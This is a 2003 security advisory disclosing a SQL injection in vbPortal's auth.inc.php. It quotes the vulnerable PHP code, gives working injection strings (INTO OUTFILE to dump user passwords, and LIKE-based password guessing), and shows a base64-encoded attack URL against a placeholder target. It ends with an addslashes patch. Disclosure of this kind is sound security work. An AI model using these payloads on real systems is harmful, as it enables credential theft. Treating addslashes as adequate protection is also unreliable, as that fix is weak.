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vbPortal : SQL Injection

From: "Frog Man" <leseulfrog () hotmail com>
Date: Sat, 13 Sep 2003 00:08:25 +0200

Informations :
°°°°°°°°°°°°°
Language : PHP
version : 2.0 alpha 8.1
Website : http://www.vbportal.com
Problem : SQL Injection
Description : vbPortal is a Portal made to complete vBulletin as a CMS.

PHP Code/Location :
°°°°°°°°°°°°°°°°°°°
auth.inc.php :
-----------------------------------------------------------------------------------------
[...]
if(isset($admin)) {
 $admin = base64_decode($admin);
 $admin = explode(":", $admin);
 $aid = "$admin[0]";
 $pwd = "$admin[1]";
 if ($aid=="" || $pwd=="") {
   $admintest=0;
   echo "<html>\n";
   echo "<title>INTRUDER ALERT!!!</title>\n";
   echo "<body bgcolor=\"#FFFFFF\" text=\"#000000\">\n\n<br><br><br>\n\n";
   echo "<center><img src=\"images/eyes.gif\" border=\"0\"><br><br>\n";

echo "<font face=\"Verdana\" size=\"+4\"><b>GetOut!</b></font></center>\n";

   echo "</body>\n";
   echo "</html>\n";
   exit;
 }

$result=mysql_query("SELECT password as pwd FROM user WHERE username ='$aid'");// $result=mysql_query("select pwd from $prefix"._authors." whereaid='$aid'");

 if(!$result) {
       echo "Selection from database failed!";
       exit;
 } else {
   list($pass)=mysql_fetch_row($result);
   if($pass == $pwd && $pass != "") {
       $admintest = 1;
   }
 }
}
[...]
-----------------------------------------------------------------------------------------


Exploit :
°°°°°°°

The injection is made by $aid. If the value of $aid is ' OR 1=1 INTO OUTFILE'/complete/path/UserTable.txt, the SQL request became :

SELECT password as pwd FROM user WHERE username = '' OR 1=1 INTO OUTFILE'/complete/path/UserTable.txt'

and the passwords of the table user can be writted into UserTable.txt, andis readable on http://[target]/UserTable.txt if the path '/complete/path/'is the right way to the website directory.

Passwords can also be cracked using LIKE. For example, to know if thecrypted password begon by 'a', you can give to $aid the value ' OR pwd LIKE'a%.

To inject the first and the second possiblities, we have to use $admin likethis :

base64([VALUETOGIVETO$AID]:1);
E.g. : to use the first example, we have to crypt :
' OR 1=1 INTO OUTFILE '/complete/path/UserTable.txt:1
in base64, like this :
JyBPUiAxPTEgSU5UTyBPVVRGSUxFICcvY29tcGxldGUvcGF0aC9Vc2VyVGFibGUudHh0OjE=
and to inject this via $admin like this :
http://[target]/auth.inc.php?admin=JyBPUiAxPTEgSU5UTyBPVVRGSUxFICcvY29tcGxldGUvcGF0aC9Vc2VyVGFibGUudHh0OjE=

This will of course work both if magic_quotes_gpc is ON or OFF.


Solution :
°°°°°°°°°
A patch can be found on http://www.phpsecure.info.
You just have to replace the line :

---------------------
 $aid = "$admin[0]";
---------------------
in auth.inc.php by :
-------------------------------
 $aid = addslashes($admin[0]);
-------------------------------


More Details in French :
°°°°°°°°°°°°°°°°°°°°°°
http://www.phpsecure.info/v2/tutos/vbPortal.txt



frog-m@n (http://www.phpsecure.info)

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vbPortal : SQL Injection Frog Man (Sep 12)